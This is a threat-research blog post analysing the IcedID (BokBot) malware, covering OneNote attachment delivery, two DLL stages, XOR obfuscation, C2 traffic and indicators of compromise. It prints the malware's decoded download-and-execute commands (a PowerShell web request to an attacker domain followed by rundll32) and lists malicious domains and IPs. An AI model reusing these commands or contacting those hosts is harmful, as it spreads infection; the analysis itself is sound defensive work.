---
title: "IcedID (BokBot): From banking trojan to backdoor"
description: IcedID, also known as BokBot, was initially a banking trojan when it was discovered in 2017. Now it is mostly used as an initial access broker for other malware. This malware typically uses malicious email attachments to infect victims' machines. It has been known to use various types of attachments — such as archives, Word and Excel files — but the latest attacks used OneNote files.
canonical_url: https://www.acronis.com/en/tru/posts/icedid-bokbot-from-banking-trojan-to-backdoor/
locale: en
last_updated: 2026-10-27
---

*   [Home](https://www.acronis.com/en/tru/)
*   [Articles](https://www.acronis.com/en/tru/posts/)
*   [Acronis Threat Research Unit](https://www.acronis.com/en/tru/authors/acronis-threat-research-unit/)

06 March 2023

# IcedID (BokBot): From banking trojan to backdoor

IcedID, also known as BokBot, was initially a banking trojan when it was discovered in 2017. Now it is mostly used as an initial access broker for other malware. This malware typically uses malicious email attachments to infect victims' machines. It has been known to use various types of attachments — such as archives, Word and Excel files — but the latest attacks used OneNote files.

Author: **[Acronis Threat Research Unit](https://www.acronis.com/en/tru/authors/acronis-threat-research-unit/)**

## Summary

*   First discovered in 2017
*   Has evolved from banking trojan to backdoor  
*   Uses malicious email attachments — a OneNote document containing scripts that will download a DLL file  
*   Has two stages, both Win64 DLL files written in C\C++  
*   Executed via command line using run32dll.exe  

## Introduction

IcedID, also known as BokBot, was initially a banking trojan when it was discovered in 2017. Now it is mostly used as an initial access broker for other malware. This malware typically uses malicious email attachments to infect victims' machines. It has been known to use various types of attachments — such as archives, Word and Excel files — but the latest attacks used OneNote files.

## Technical details

### Delivery

As OneNote files don’t support macros, IcedID must use alternative tactics. Upon opening the document, the victim will see the following text and button:

![Image 1: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/1a2e5e21752b5e46b95f52434e02db13.png)

By moving this button, we can see that there are many attachments hidden behind it. These attachments can be HTA or CMD files.

![Image 2: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/237426738fc8a4790c8166ed315bcfc4.png)

Upon pressing the button, OneNote warns that the attachments could harm the computer.

![Image 3: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/5fdf7a4fe718f73f6868f8d5348d9855.png)

Here is an example of an HTA file which is used to download and execute the IcedID malware. It connects to the stored URL and downloads two files, saving them on the computer. It then executes both files.

![Image 4: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/e9ae52d03e4186c42cfbb625b7a9d199.png)

In addition to HTA files, CMD files can be attached. Here is an example of a script. It is encoded and replaces specific strings with symbols:

![Image 5: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/295099ba1879d36e1c6839bf48f40c59.png)

This creates the following commands:

_powershell invoke-webrequest -uri http://mrassociattes.com/images/62.gif -outfile c:\programdata\COIm.jpg_

_rundll32 c:\programdata\COIm.jpg,init_

### Execution

#### First stage

Although the downloaded file appears to be in the .png format, it’s actually a Win64 DLL file written in C\C++.

![Image 6: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/0df4f5ac45ef07ef276c94d84b3339e5.png)

If the OneNote file contains an HTA file, it also downloads a PDF and opens it automatically. This file isn’t itself malicious, and contains banking data to convince the victim of its legitimacy.

![Image 7: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/936c11407038d9c75aa6572a765ca26c.png)

During execution, the first stage loads and decrypts a segment which can be seen only during the debugging process. Although this sample has many imported functions, some of them are obfuscated and loaded during execution:

![Image 8: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/62664289b94a2e2f643936aa85a062f9.png)

IcedID loads another segment to the register and calls it.

![Image 9: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/61e444c643ad1ae04f2afd9b31e95e15.png)

Here it loads more imports and libraries, but in a different way. It loads some variables in the HEX format and decodes it using an XOR operation. This approach is used very often in the code. The key is different for each piece of data that must be decoded.

![Image 10: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/742d37234f4a15d2adc3f074ccd3a890.png)

The results are names of libraries that will be used later.

![Image 11: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/c0c483ad2c82341886279f5c11b34938.png)

IcedID then creates a thread that will do the main work.

![Image 12: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/5df6b89128d5d7c5e93ec09cff7a4620.png)

It loads the URL to the remote server:

![Image 13: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/3ddb099e9ba19563371f1d1785fb58f6.png)

Then it obtains some information about network adapters:

![Image 14: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/93f53141f9fbf2fc57276189fb52e058.png)

IcedID also collects information about the user and PC, using these functions:

_NetWkstaGetInfo_ _GetComputerNameW_ _GetUserNameW_ _LookupAccountName_ _ConvertSidToStringSidA_ _Cpuid_ _RtlGetVersion_ _GetProductInfo_ _GetNativeSystemInfo_ _NetGetJoinInformation_

Then it connects to the server:

![Image 15: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/4acc0343df3392fe61eff4c65d683d01.png)

IcedID sends a packet that includes the previously collected information. This is probably used to determine which version of the malware is appropriate for the victim’s system.

![Image 16: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/ca90db5821bd503a3002c7ab85c6af2a.png)

It starts to receive a lot of packets, at 1460 bytes each.

![Image 17: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/cf34d343564518d18cebf79cdbf6bb55.png)

Other files are downloaded as well — the first is a DLL file, and the second is a DAT file. IcedID also creates a copy of the DLL file and saves it to the %Temp folder as a DAT file.

![Image 18: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/7acf179fcbc8a53a86c6bee765a93b9a.png)

#### Second stage

The downloaded second stage is also a Win64 DLL file and is written in C\C++.

![Image 19: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/1df5ea7211be74054ca07e12661113f5.png)

This is executed via command line with the following arguments:

_rundll32.exe"C:\Users\Flare\AppData\Roaming\Onuy\honuom64.dll",#1--ha="AbleIvory\license.dat"_

The command line argument ‘#1’ indicates the function with ordinal 1 in the DLL. In this case, this is the ‘init’ function. The realization of this function is different from the first stage, but the functionality is similar. It decrypts and loads an additional segment named _Init.dll_. This operation also executes in the memory fragment, which is only available during the debugging process.

![Image 20: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/7223b835dc951c85212cb32b8965aac8.png)

It creates a new thread and suspends the main one:

![Image 21: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/ed5276d522e400de1326f1eea05abce6.png)

Next, IcedID obtains additional imports. It loads saved data in the HEX format and decrypts it using an XOR operation, like in the first stage.

![Image 22: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/2c9a0d80514e348da19d9f59258bbeea.png)

The result will be library names:

![Image 23: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/c3169d4379eae7eaff96ad06f67eca34.png)

IcedID decrypts more data in the same fashion. The result is file names and URLs, but the malware did not connect to these during execution.

![Image 24: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/9801f944871eb6ebf4c34d0104bd90ee.png)

One more decoded block of data contains the following imported libraries and functions:

RegCloseKey, RegOpenKeyExA, RegQueryValueExA, CryptAcquireContextW, CryptReleaseContext, CryptGetHashParam, CryptCreateHash ,CryptHashData CryptDestroyHash, GetUserNameA, GetUserNameW, OpenProcessToken, GetSidIdentifierAuthorit, GetSidSubAuthority, GetSid, SubAuthorityCount, GetTokenInformation, LookupAccountNameW, ConvertSidToStringSidA, RegCreateKeyA,.RegDeleteKeyA, RegOpenKeyA, RegSetValueExA, RegDeleteValueA, RegEnumValueA .AdjustTokenPrivilege, LookupPrivilegeValueA .CryptDestroyKey .CryptImportKey, InitiateSystemShutdownExA, CryptVerifySignatureA, RegCreateKeyExA, RegEnumKeyExA .RegQueryValueExW, CredEnumerateW, CredFree, CryptAcquireContextA ADVAPI32.dll, StrChrA, StrChrW, StrCmpIW, SHSetValueA, StrStrA, StrStrIA, StrCmpNIA, StrToIntExA, StrToIntA, StrCmpNI, StrStrIW SHLWAPI.dll, WSACreateEvent, WSAEnumNetworkEvents, WSAEventSelect, WS2_32.dll, GetAdaptersInfo, IPHLPAPI.DLL, NetApiBufferFree, NetGetJoinInformation, NetWkstaGetInfo, NETAPI32.dll, OLEAUT32.dll, memset, vsnprintf, memcpy, msvcrt.dll, SHGetFolderPathA, SHGetFolderPathW, ShellExecuteExA, SHELL32.dll, ,sprintfA, s printfW, USER32.dll, InitSecurityInterfaceA, Secur32.dll, WinHttpCloseHandle, WinHttpQueryOption, WinHttpSetStatusCallback, WinHttpCrackUrl, WinHttpOpen, WinHttpConnect, WinHttpReadData, WinHttpQueryDataAvailable, WinHttpSetOption, WinHttpOpenRequest, WinHttpSendRequest, WinHttpReceiveResponse, WinHttpQueryHeader, WINHTTP.dll, CertFreeCertificateContext, CryptUnprotectData, CRYPT32.dll, UuidFromStringA, UuidFromString, RPCRT4.dll, CoCreateInstance, CoInitialize, CoInitializeEx, CoTaskMemFree, ole32.dll, RtlGetVersion, ZwQuerySystemInformation, NtAllocateVirtualMemory, NtWriteVir tualMemory, NtProtectVirtualMemory, RtlDecompressBuffer, ntdl,dll, Sleep, CloseHandle, GetLastError, HeapAlloc, HeapFree, GetProcessHeap, CreateMutexA, ExitProcess, GetProduct Info, lstrcpyA, GetCurrentProcessId, GetLocalTime, lstrlenA, CreateDirectoryA, CreateDirectoryW, GetTempPathA, lstrcatA, lstrcatW, lstrlenW, QueryPerformanceCounter, QueryPerformanceFrequency, SwitchToThread, GetTickCount, GetComputerNameExW, GetNativeSystemInfo, LocalFree, ReadFile, WriteFile, createPipe, PeekNamedPipe, HeapReAlloc, WaitForSingleObject, TerminateProcess, CreateProcessA, WideCharToMultiByte, GetTickCount64, DeleteFileA, lstrcmpiA, CopyFileA, SetEvent, CreateEventA, OpenEventA, CreateThread, TerminateThread, CreateFileA, CreateEventW, SleepE, QueueUserAPCInitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, MultiByteToWideChar, ExpandEnvironmentStringsA, CreateFileW, FindClose, FindFirstFileA, FindNextFileA, GetFileSize, CreateRemoteThread, RegisterWaitForSingleObject, UnregisterWait, ResumeThread, GetSystemDirectoryA, GetWindowsDirectoryA, WaitForMultipleObjects, GetModuleHandleA, GetProcAddress, SetErrorMode, SetFilePointer, LocalAlloc, LoadLibraryA, FreeLibrary, KERNEL32.dll

From these imports, we can see that the malware does not only use network-related functions; it also uses others that are responsible for interfacing with file systems, registers and processes. These functions will be used to installing further malware.

IcedID then takes the command line and extracts the argument _"AbleIvory\license.dat."_

It reads this file and decrypts it using an XOR operation:

![Image 25: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/9f5e13ea0ba964e658479ef43b870394.png)

The decoded ‘license.dat’ is not a PE or DLL file, but it contains some strings used for stealing credentials from browsers’ password vaults.

![Image 26: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/c9fd39c99a769f8c90b2ebf6f9c00990.png)

Next, IcedID prepares the information that will be sent to the server. It uses the _CryptHashData()_ function to hide the packet content.

![Image 27: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/96d2aef68e00d33e4392454382109b53.png)

Examples of the data, which will be hashed before being sent to the server:

![Image 28: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/f829023a8bd03303a8f46757b84c7b4a.png)

![Image 29: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/91497f1e8d2d5acbd562d2f7fb2cdbd0.png)

IcedID connects to the saved server address:

![Image 30: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/632536d44e09a80c5ffb46d305b995d8.png)

The sample analyzed connected to these servers:

_palasedelareforma.com_ _renomesolar.com_ _sinkhole.sh_

IcedID prepares a request and sends it with ‘WinHttpSendRequest’:

![Image 31: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/d54e39e7d8ce19b8a2c2747ebdc900a9.png)

It starts connecting to the server every five minutes. During the analysis, the sample didn’t do anything further; we suspect that it’s awaiting a specific command from the server to begin its primary activities — like downloading, installing and running additional malware.

![Image 32: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/3be15f3de4f9542969aacc4b419c930e.png)

### Network traffic

The first server, ‘ituitem.net,’ has an IP address of _5.61.47.8_, from where the second stage was downloaded. This address is registered in Germany.

![Image 33: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/d63617c2a24cae2cdc4d9fb8ac48b4a4.png)

The next IP address, _37.252.6.77_, points to the malicious domain ‘palasedelareforma.com,’ registered in Poland.

![Image 34: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/0580fb4d79076da47f5d5b310230c670.png)

The server ‘renomesolar.com’ actually has two IP addresses, but this sample connects only to the _38.180.0.89_ address, registered in France. The second one is used by other IcedID samples.

![Image 35: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/a20753f66533ddadce9cdc00fc5b48fa.png)

Despite the fact that IcedID connects to the ‘sinkhole.sh’ domain, which is not malicious, the IP address _80.78.24.30_ has a lot of resolved DNS servers used in other IcedID campaigns. Some of these servers have already been brought offline.

![Image 36: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/f61bc47d2f017af63e8e8a9cb46cee44.png)

### Obfuscation

IcedID uses multiple obfuscation techniques. The main functionality is loaded during execution, so it can be viewed only during the debugging process. Secondly, it hides a full list of imports. To use them, it decodes saved data with an XOR operation and then loads them to the memory. Also, it often loads particular function offsets to one of the general registers and calls them.

## Conclusion

IcedID successfully evolved from banking trojan to backdoor, and now operates as an initial access broker for other malware. This makes it potentially more dangerous, depending on which malware it delivers. Now it has many different samples, which are using different servers to communicate with, and their number is still growing.

IcedID uses malicious email attachments to gain access to victims' systems, so users must be particularly careful when opening such messages.

During our analysis, the IcedID sample didn’t download any third-party malware (perhaps because it was awaiting a particular command from the server). With good security tools, it can be spotted and terminated at the initial stage.

## Detected by Acronis

Acronis Cyber Protect successfully detects and prevents execution for malicious CMD and HTA files, attached to OpenNote files, as well as both first-stage downloaders and second-stage backdoors.

![Image 37: IcedID (BokBot): From banking trojan to backdoor](https://staticfiles.acronis.com/images/content/d2f290216f7f3479f52350f706cdf6ac.png)

## IoCs

### Files

SHA256

Description

681217e6c8ed3ed37c1312646afb8e0cfe25e6840f461d10a7d9cdd4ffa725cb

CMD attachment example

03fdf03c8f0a0768940c793496346253b7ccfb7f92028d3281b6fc75c4f1558e

HTA attachment example

8d076fe2d93a9ebd5701eb7a1acab37e9d390df7f50e6d155c6c7289934d2b54

First stage downloader

dfff2ddb7d6a6881ca003ef65347e1087ba8bac32b0a62cec1174486f1f958e1

Second stage backdoor

f2ab26557364d548a40ab3c43db78e03750e8eb391258080dda31b5c3f71c1d9

licence.dat 

### Network indicators

Domain

IP address

ituitem.net

5.61.47.8

palasedelareforma.com

37.252.6.77

renomesolar.com

38.180.0.89

sinkhole.sh

80.78.24.30

Related articles

[The Gentlemen: A closer look at a not-so-gentle ransomware-as-a- service operation](https://www.acronis.com/en/tru/posts/the-gentlemen-a-closer-look-at-a-not-so-gentle-ransomware-as-a-service-operation/)  
[Acronis AI Copilot: Adoption is high and growing among MSPs](https://www.acronis.com/en/tru/posts/acronis-ai-copilot-adoption-is-high-and-growing-among-msps/)  
[Acronis Cyberthreats Update, October 2026](https://www.acronis.com/en/tru/posts/acronis-cyberthreats-update-october-2026/)  
[AI agents at work: What Acronis endpoint data reveals about MSP and SMB usage](https://www.acronis.com/en/tru/posts/ai-agents-at-work-what-acronis-endpoint-data-reveals-about-msp-and-smb-usage/)